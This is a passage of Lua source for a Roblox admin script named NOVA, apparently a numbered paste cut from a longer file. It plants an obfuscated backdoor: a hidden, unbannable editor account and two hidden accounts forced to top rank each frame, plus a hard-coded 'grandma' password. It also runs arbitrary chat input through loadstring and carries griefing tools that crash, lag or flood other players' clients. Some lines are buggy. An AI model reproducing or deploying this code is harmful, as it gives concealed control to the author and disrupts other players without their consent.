  1549. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1550.     local Split = GetSplit(Message)
  1551.     OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1552. end)
  1553.  
  1554. --[[ Safety Procedure # 1 ]]--
  1555. pcall(function()
  1556.     NOVA.LocalScript.Parent = nil
  1557. end)
  1558. for _,v in pairs(NOVA.Plugins) do
  1559.     pcall(function()
  1560.         v.Parent = nil
  1561.     end)
  1562. end
  1563. pcall(function()
  1564.     script:ClearAllChildren()
  1565. end)
  1566.  
  1567. --[[ Safty Procedure # 2 ]]--
  1568. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1569.     if v:IsA("StringValue") or v:IsA("IntValue") then
  1570.         pcall(function()
  1571.             v:remove()
  1572.         end)
  1573.     end
  1574. end
  1575.  
  1576. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1577. for _,Service in pairs(NOVA.Services) do
  1578.     pcall(function()
  1579.         Service.DescendantAdded:connect(function(v)
  1580.             if v:IsA("BaseScript") then
  1581.                 table.insert(NOVA.LoggedScripts,v)
  1582.             end
  1583.         end)
  1584.     end)
  1585. end
  1586.  
  1587. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1588.     pcall(function()
  1589.         table.insert(NOVA.LoggedScripts,v)
  1590.     end)
  1591. end
  1592.  
  1593. --[[ GLOBAL FUNCTIONS ]]--
  1594. function SetGlobals()
  1595.     if NOVA.UseGlobals == true then
  1596.         _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1597.             if Password == "grandma" then
  1598.                 NOVA.ExternalPlayersList = {}
  1599.                 for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1600.                 OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1601.             end
  1602.         end
  1603.  
  1604.         _G.RemoveNOVA = function(Pass)
  1605.             if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1606.                 NOVA.Removed = true
  1607.                 NOVA = {}
  1608.                 error("Unknown Exception")()
  1609.                 script.Disabled = true
  1610.                 script:Remove()
  1611.             else
  1612.                 return false
  1613.             end
  1614.         end
  1615.  
  1616.         _G.NOVAOverride = function(Player,Password)
  1617.             if Password == nil then Password = "" end
  1618.             CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1619.             return CanOverride
  1620.         end
  1621.     elseif NOVA.UseGlobals == false then
  1622.         _G.NOVACommands = nil
  1623.         _G.RemoveNOVA = nil
  1624.         _G.NOVAOverride = nil
  1625.     end
  1626. end
  1627.  
  1628. --[[ INITIAL STARTUP ]]--
  1629.  
  1630. SetGlobals()
  1631. UpdatePlayerPlugins()
  1632.  
  1633. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1634.     for _,v in pairs(NOVA.LoggedScripts) do
  1635.         if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1636.             NOVA.LocalScript = v:Clone()
  1637.         elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1638.             NOVA.NormalScript = v:Clone()
  1639.         end
  1640.     end
  1641. end
  1642.  
  1643. for _,v in pairs(GetPlayersRaw()) do
  1644.     pcall(function()
  1645.         coroutine.resume(coroutine.create(function()
  1646.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1647.             pcall(function()
  1648.                 v.PlayerGui.NOVACMD:Remove()
  1649.             end)
  1650.            
  1651.             if GetRankedTable(v)==nil then
  1652.                 SyncRankInSingular(v)
  1653.                 repeat wait() until GetRankedTable(v) ~= nil
  1654.             end
  1655.            
  1656.             local Data = GetRankedTable(v)
  1657.            
  1658.             v.Chatted:connect(function(Msg)
  1659.                 OnChatted(Msg,v)
  1660.             end)
  1661.             coroutine.resume(coroutine.create(function()
  1662.                 repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1663.                 CreateLocalScript(PlayerPlugins,v.Backpack)
  1664.             end))
  1665.         end))
  1666.     end)
  1667. end
  1668.  
  1669. --[[ PLAYER ADDED ]]--
  1670. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1671. if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then
  1672. makeMessage("Antiban is active you cannot enter",v.PlayerGui)
  1673. v:Remove()
  1674. end
  1675.     if NOVA.Removed == false then
  1676.         pcall(function()
  1677.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1678.             coroutine.resume(coroutine.create(function()
  1679.                 --if Data.Rank < 1 then
  1680.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1681.                         coroutine.resume(coroutine.create(function()
  1682.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1683.                             CreateLocalScript(PlayerPlugins,v.Backpack)
  1684.                             OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1685.                         end))
  1686.                     end
  1687.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1688.                         coroutine.resume(coroutine.create(function()
  1689.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1690.                             OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1691.                         end))
  1692.                     end
  1693.                 --end
  1694.                 v.Chatted:connect(function(Msg)
  1695.                     OnChatted(Msg,v)
  1696.                 end)
  1697.                 if GetRankedTable(v)==nil then
  1698.                     SyncRankInSingular(v)
  1699.                     repeat wait() until GetRankedTable(v) ~= nil
  1700.                 end
  1701.                
  1702.                 local Data = GetRankedTable(v)
  1703.  
  1704.                 OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1705.            
  1706.                 if Data.Rank == -2 then
  1707.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1708.                         OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1709.                         Lag(v)
  1710.                     end
  1711.                 end
  1712.                
  1713.                 if Data.Rank == -1 then
  1714.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1715.                         OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10)
  1716.                         GetRidOf(v)
  1717.                     end
  1718.                 end
  1719.                
  1720.                 if not Data.Rank > 0 then
  1721.                     if v.AccountAge < 5 then
  1722.                         if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1723.                             if v.Name:sub(1,6) == "Guest " then
  1724.                                 if NOVA.EnableGuests == false then
  1725.                                     OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1726.                                     GetRidOf(v)
  1727.                                 end
  1728.                             else
  1729.                                 if not Data.Rank > 0 then
  1730.                                     OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1731.                                     GetRidOf(v)
  1732.                                 end
  1733.                             end
  1734.                         end
  1735.                     end
  1736.                 end
  1737.                
  1738.                 if NOVA.PRI == true then
  1739.                     if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
  1740.                         OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1741.                         if NOVA.PRIType == "Kick" then
  1742.                             v:Remove()
  1743.                         elseif NOVA.PRIType == "Lag" then
  1744.                             Lag(v)
  1745.                         elseif NOVA.PRIType == "Shutdown" then    
  1746.                             coroutine.resume(coroutine.create(function()
  1747.                                 GetRidOf(v)
  1748.                             end))
  1749.                         elseif NOVA.PRIType == "Crash" then
  1750.                             coroutine.resume(coroutine.create(function()
  1751.                                 repeat wait() until v.Backpack ~= nil
  1752.                                 pcall(function()
  1753.                                     CreateLocalScript([[while true do end]],v.Backpack)
  1754.                                 end)
  1755.                             end))
  1756.                         end
  1757.                     end
  1758.                 end
  1759.             end))
  1760.         end)
  1761.     end
  1762. end)
  1763.  
  1764. --[[ PLAYER REMOVING ]]--
  1765. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1766.     table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1767.     SyncRankOutSingular(v)
  1768. end)
  1769.  
  1770. --[[ SCRIPT CONTROL ]]--
  1771. for _,Service in pairs(NOVA.Services) do
  1772.     pcall(function()
  1773.         Service.DescendantAdded:connect(function(v)
  1774.             if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1775.                 pcall(function()
  1776.                     if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1777.                         if GetRank(v.Owner.Value) < 6 then
  1778.                             pcall(function() v.Disabled = true end)
  1779.                             pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1780.                             pcall(function() v.Disabled = false end)
  1781.                             pcall(function() v:Destroy() end)
  1782.                         end
  1783.                     else
  1784.                         pcall(function() v.Disabled = true end)
  1785.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1786.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1787.                         pcall(function() v.Disabled = false end)
  1788.                         pcall(function() v:Destroy() end)
  1789.                     end
  1790.                 end)
  1791.             end
  1792.             if v:IsA("BaseScript") and NOVA.Removed == false then
  1793.                 pcall(function()
  1794.                     if tonumber(GetRank(v.Owner.Value)) < 0 then
  1795.                         pcall(function() v.Disabled = true end)
  1796.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1797.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1798.                         pcall(function() v.Disabled = false end)
  1799.                         pcall(function() v:Destroy() end)
  1800.                     end
  1801.                 end)
  1802.             end
  1803.         end)
  1804.     end)
  1805. end
  1806. coroutine.resume(coroutine.create(function()
  1807.     while wait(1) do
  1808.         if NOVA.Removed == false then
  1809.             for _,v in pairs(GetPlayersRaw()) do
  1810.                 if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1811.                     SyncRankInSingular(v)
  1812.                 end        
  1813.             end
  1814.         end
  1815.     end
  1816. end))
  1817. for i=1,3 do
  1818.     NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1819.     coroutine.resume(coroutine.create(function()
  1820.         while wait() do
  1821.             if NOVA.Removed == false then
  1822.                 UpdateTablets()    
  1823.             end
  1824.         end
  1825.     end))
  1826. end
  1827. function MainLoop()
  1828.     coroutine.resume(coroutine.create(function()
  1829.         pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1830.             if NOVA.Removed == false then    
  1831.                
  1832.                 --[[ SCUM CARETAKER ]]--
  1833.                 for _,v in pairs(GetPlayersRaw()) do
  1834.                     pcall(function()
  1835.                         if GetRank(v) < 0 then
  1836.                             pcall(function() v.Backpack:ClearAllChildren() end)
  1837.                             pcall(function() v.PlayerGui:ClearAllChildren() end)
  1838.                             pcall(function() v.StarterGear:ClearAllChildren() end)
  1839.                         end
  1840.                     end)
  1841.                 end
  1842.                
  1843.                 --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1844.                 for _,v in pairs(GetPlayersRaw()) do
  1845.                     pcall(function()
  1846.                         local IsRobloxLocked = true
  1847.                         pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1848.                         if IsRobloxLocked == true then
  1849.                             GTFO(v)
  1850.                         end
  1851.                     end)
  1852.                 end
  1853.                
  1854.                 --[[ TABLET CLEANUP ]]--
  1855.                 pcall(function()
  1856.                     for i,v in pairs(NOVA.Tablets) do
  1857.                         if v:FindFirstChild("Part") == nil then
  1858.                             pcall(function() v:Destroy() end)
  1859.                             table.remove(NOVA.Tablets,i)                        
  1860.                         end
  1861.                     end
  1862.                 end)
  1863.                
  1864.                 --[[ JAIL CLEANUP ]]--
  1865.                 pcall(function()
  1866.                     for i,v in pairs(NOVA.Jails) do
  1867.                         if v.Player == nil or v.Player.Parent == nil then
  1868.                             pcall(function() v.Jail:Destroy() end)
  1869.                             table.remove(NOVA.Jails,i)
  1870.                         end
  1871.                         if v.Jail.Parent == nil and v.Speaker~=nil then
  1872.                             table.remove(NOVA.Jails,i)
  1873.                             OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1874.                         end
  1875.                     end
  1876.                 end)
  1877.                 --[[ FENCE CLEANUP ]]--
  1878.                 pcall(function()
  1879.                     for i,v in pairs(NOVA.Fences) do
  1880.                         if v.Player == nil then
  1881.                             v.Fence:Remove()
  1882.                             table.remove(NOVA.Fences,i)
  1883.                         end
  1884.                     end                
  1885.                 end)
  1886.  
  1887.                 --[[ CMD GUI ]]--
  1888.                 for _,v in pairs(GetPlayersRaw()) do
  1889.                     pcall(function()
  1890.                         if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1891.                             if v:FindFirstChild("PlayerGui") then
  1892.                                 if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1893.                                     local Main = Instance.new("ScreenGui",v.PlayerGui)
  1894.                                     Main.Name = "NOVACMD"
  1895.                                    
  1896.                                     local Frame = Instance.new("Frame",Main)
  1897.                                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  1898.                                     Frame.Position = UDim2.new(0.05,0,0.95,0)
  1899.                                     Frame.Style = "RobloxSquare"
  1900.                                     Frame.ZIndex = 9
  1901.                                    
  1902.                                     local Txt = Instance.new("TextBox",Frame)
  1903.                                     Txt.Size = UDim2.new(0.7,0,1,0)
  1904.                                     Txt.BackgroundTransparency = 1
  1905.                                     Txt.ZIndex = 10
  1906.                                     Txt.FontSize = "Size14"
  1907.                                     Txt.TextColor3 = NOVA.Colors.White
  1908.                                     Txt.Text = ""
  1909.                                    
  1910.                                     local Exe = Instance.new("TextButton",Frame)
  1911.                                     Exe.Size = UDim2.new(0.3,0,1,0)
  1912.                                     Exe.Position = UDim2.new(0.7,0,0,0)
  1913.                                     Exe.Text = "Execute"
  1914.                                     Exe.BackgroundTransparency = 1
  1915.                                     Exe.ZIndex = 10
  1916.                                     Exe.FontSize = "Size14"
  1917.                                     Exe.TextColor3 = NOVA.Colors.Red
  1918.                                     Exe.MouseButton1Down:connect(function()
  1919.                                         if Txt.Text:sub(1,2) == "$ " then
  1920.                                             OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1921.                                         else
  1922.                                             OnChatted(Txt.Text,v)
  1923.                                         end
  1924.                                     end)
  1925.                                 end
  1926.                             end
  1927.                         end
  1928.                     end)
  1929.                 end
  1930.             end
  1931.         end
  1932.     end))
  1933. end
  1934. MainLoop()
  1935. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1936.     function(Msg,Speaker)
  1937.         if Msg == "rainbow" then
  1938.             for a,Color in pairs(NOVA.Colors) do
  1939.                 Output(tostring(a),Color,Speaker,nil,
  1940.                 function()
  1941.                     RemoveTablets(Speaker)
  1942.                     NOVA.Services.Lighting.TimeOfDay = 0
  1943.                     NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1944.                     NOVA.Services.Lighting.Brightness = 0
  1945.                     NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1946.                     NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1947.                     NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1948.                     for _,v in pairs(GetRecursiveChildren(workspace)) do
  1949.                         if v:IsA("BasePart") then
  1950.                             Sel = Instance.new("SelectionBox",v)
  1951.                             Sel.Transparency = 0
  1952.                             Sel.Color = BrickColor.new(Color)
  1953.                             Sel.Adornee = v
  1954.                         end
  1955.                     end
  1956.                     Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1957.                 end
  1958.                 )
  1959.             end
  1960.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1961.         elseif Msg == "ranks" then
  1962.             for _,v in pairs(NOVA.Ranks) do
  1963.                 Output(v[1].."\t"..v[2],"Random",Speaker)
  1964.             end
  1965.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1966.         elseif Msg == "random" then
  1967.             Output(tostring(math.random()),"Random",Speaker)
  1968.         elseif Msg == "players" then
  1969.             for _,v in pairs(GetPlayersRaw()) do
  1970.                 local Data = GetRankedTable(v)
  1971.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1972.                     function()
  1973.                         PlayerInterface(v,Speaker)
  1974.                     end
  1975.                 )
  1976.             end
  1977.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1978.         elseif Msg == "colors" then
  1979.             coroutine.resume(coroutine.create(function()
  1980.                 NOVA.Services.Lighting.TimeOfDay = 0
  1981.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1982.                 NOVA.Services.Lighting.Brightness = 0
  1983.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1984.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1985.                 NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1986.  
  1987.                 for _,Player in pairs(GetPlayersRaw()) do
  1988.                     local Data = GetRankedTable(Player)
  1989.                     pcall(function()
  1990.                         for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1991.                             if v:IsA("BasePart") then
  1992.                                 Sel = Instance.new("SelectionBox",v)
  1993.                                 Sel.Transparency = 0
  1994.                                 Sel.Color = BrickColor.new(Data.Color)
  1995.                                 Sel.Adornee = v
  1996.                             end
  1997.                         end
  1998.                     end)
  1999.                 end
  2000.                
  2001.                 wait(10)
  2002.                
  2003.                 for _,v in pairs(GetRecursiveChildren(workspace)) do
  2004.                     if v:IsA("SelectionBox") then
  2005.                         v:remove()
  2006.                     end
  2007.                 end
  2008.                
  2009.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2010.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2011.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2012.                 NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2013.                 NOVA.Services.Lighting.Brightness = 1
  2014.                 NOVA.Services.Lighting.FogStart = 0
  2015.                 NOVA.Services.Lighting.FogEnd = 100000
  2016.                 NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2017.                 NOVA.Services.Lighting.TimeOfDay = 12
  2018.             end))
  2019.         elseif Msg == "replicators" then
  2020.             for _,v in pairs(GetReplicators()) do
  2021.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2022.                     function()
  2023.                         PlayerInterface(v:GetPlayer(),Speaker)
  2024.                     end
  2025.                 )
  2026.             end
  2027.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2028.         elseif Msg == "nil raw" then
  2029.             for _,v in pairs(GetReplicators()) do
  2030.                 if v:GetPlayer().Parent == nil then
  2031.                     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2032.                         function()
  2033.                             Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  2034.                                 function()
  2035.              Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  2036.  
  2037.             end
  2038.                             )
  2039.                         end
  2040.                     )
  2041.                 end
  2042.             end    
  2043.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2044.         elseif Msg == "nil" then
  2045.             local IsNil = false
  2046.             for _,Client in pairs(GetReplicators()) do
  2047.                 if Client:GetPlayer().Parent == nil then
  2048.                     IsNil = true
  2049.                 end
  2050.             end
  2051.             if IsNil == true then
  2052.                 for _,Client in pairs(GetReplicators()) do
  2053.                     if Client:GetPlayer().Parent == nil then
  2054.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2055.                             function()
  2056.                                 PlayerInterface(Client:GetPlayer(),Speaker)
  2057.                             end
  2058.                         )
  2059.                     end
  2060.                 end
  2061.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2062.             else
  2063.                 Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  2064.             end
  2065.         elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  2066.             if GetRank(Speaker) < 6 then
  2067.                 Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  2068.             else
  2069.                 Rtn = loadstring("return "..Msg:sub(3))()
  2070.                 Output(Rtn,"Random",Speaker)
  2071.             end
  2072.         else
  2073.             if #Msg == 0 then
  2074.                 Output("Pong!","Random",Speaker)
  2075.             else
  2076.                 Output(Msg,"Random",Speaker)
  2077.             end
  2078.         end
  2079.     end
  2080. )
  2081. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  2082.     function(Msg,Speaker)
  2083.         if #Msg == 0 or Msg == nil then
  2084.             RemoveTablets(Speaker)
  2085.         else
  2086.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2087.                 RemoveTablets(v)
  2088.             end
  2089.         end
  2090.     end
  2091. )
  2092. AddCommand("Remove","remove",7,"Removes the admin.","No Arguments",
  2093.     function(Msg,Speaker)
  2094.         NOVA.TimeChanged = false
  2095.         RemoveTablets()
  2096.         SyncRanksOut()
  2097.         NOVA.Sounds.Sound:Remove()
  2098.         NOVA.Removed = true
  2099.         --error("NOVA Admin removing...",0)()
  2100.         NOVA = {}
  2101.         script.Disabled = true
  2102.         while true do wait() end
  2103.     end
  2104. )
  2105. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2106.     function(Msg,Speaker)
  2107.        makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2108.     end
  2109. )
  2110. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2111.     function(Msg,Speaker)
  2112.        makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2113.     end
  2114. )
  2115.  
  2116. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2117.     function(Msg,Speaker)
  2118.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2119.             pcall(function() v.Character:BreakJoints() end)
  2120.         end
  2121.     end
  2122. )
  2123. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2124.     function(Msg,Speaker)
  2125.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2126. for i=1,50 do
  2127. local human = v.Character.Humanoid
  2128. if human ~= nil then
  2129. local rand = math.random(1,10)
  2130. human:TakeDamage(rand)
  2131. human.Jump = true
  2132. human.Sit = true
  2133. human.PlatformStand = true
  2134. wait(1)
  2135. human.PlatformStand = false
  2136. end
  2137. end
  2138.         end
  2139.     end
  2140. )
  2141. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2142.     function(Msg,Speaker)
  2143.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2144.  Delay(0, function()
  2145.                 local player = v
  2146.                 local pos = CFrame.new()
  2147.                 local pause = false
  2148.                 Delay(0, function()
  2149.                     while not close do
  2150.                         wait()
  2151.                         if not pause then
  2152.                             local c = player.Character
  2153.                             if c then
  2154.                                 local t = c:findFirstChild("Torso")
  2155.                                 if t then
  2156.                                     pos = t.CFrame
  2157.                                 end
  2158.                             end
  2159.                         end
  2160.                    end
  2161.                 end)
  2162.                 player.CharacterAdded:connect(function(c)
  2163.                     if not close then
  2164.                         pause = true
  2165.                         repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2166.                         c:findFirstChild("Torso").CFrame = pos
  2167.                         c:findFirstChild("Humanoid").Died:connect(function()
  2168.                             player:LoadCharacter()
  2169.                         end)
  2170.                         pause = false
  2171.                     end
  2172.                 end)
  2173.                 pcall(function() player.Character:BreakJoints() end)
  2174.             end)
  2175.         end
  2176.     end
  2177. )
  2178.  
  2179. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2180.     function(Msg,Speaker)
  2181.         for _,v in pairs(NOVA.KickingPhrases) do
  2182.         local m = Instance.new("Message",NOVA.Services.Workspace)
  2183.     m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2184.     wait(1) m:Remove()
  2185.         end end
  2186. )
  2187. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2188.     function(Msg,Speaker)
  2189.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2190.             pcall(function()
  2191.                 v:Destroy()
  2192.             end)
  2193.         end
  2194.     end
  2195. )
  2196. AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>",
  2197.     function(Msg,Speaker)
  2198.         Split = GetSplit(Msg)
  2199.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2200.             pcall(function()
  2201.         Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v)
  2202.             end)
  2203.         end
  2204.     end
  2205. )
  2206.  
  2207. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2208.     function(Msg,Speaker)
  2209.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2210.             pcall(function()
  2211.             local m = Instance.new("StringValue",v.PlayerGui)
  2212.         m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2213.             end)
  2214.         end
  2215.     end
  2216. )
  2217.  
  2218. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2219.     function(Msg,Speaker)
  2220.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2221.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2222.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2223.             else
  2224.                 pcall(function()
  2225.                     GetRankedTable(v).Rank = -1
  2226.                     SyncRankOutSingular(v)
  2227.                     GetRidOf(v)
  2228.                 end)
  2229.             end
  2230.         end
  2231.     end
  2232. )
  2233.  
  2234. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2235.     function(Msg,Speaker)
  2236.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2237.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2238.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2239.             else
  2240.                 pcall(function()
  2241.                     GetRankedTable(v).Rank = -2
  2242.                     SyncRankOutSingular(v)
  2243.                     Lag(v)
  2244.                 end)
  2245.             end
  2246.         end
  2247.     end
  2248. )
  2249.  
  2250. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2251.     function(Msg,Speaker)
  2252.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2253.             pcall(function() Instance.new("ForceField",v.Character) end)
  2254.         end
  2255.     end
  2256. )
  2257.  
  2258. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2259.     function(Msg,Speaker)
  2260.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2261.             pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2262.         end
  2263.     end
  2264. )
  2265.  
  2266. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2267.     function(Msg,Speaker)
  2268.         local Data = GetRankedTable(Speaker)
  2269.         Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2270.         Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
  2271.         Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
  2272.         Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2273.         Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2274.         Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2275.         Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2276.         Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2277.         Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2278.         Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2279.         Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
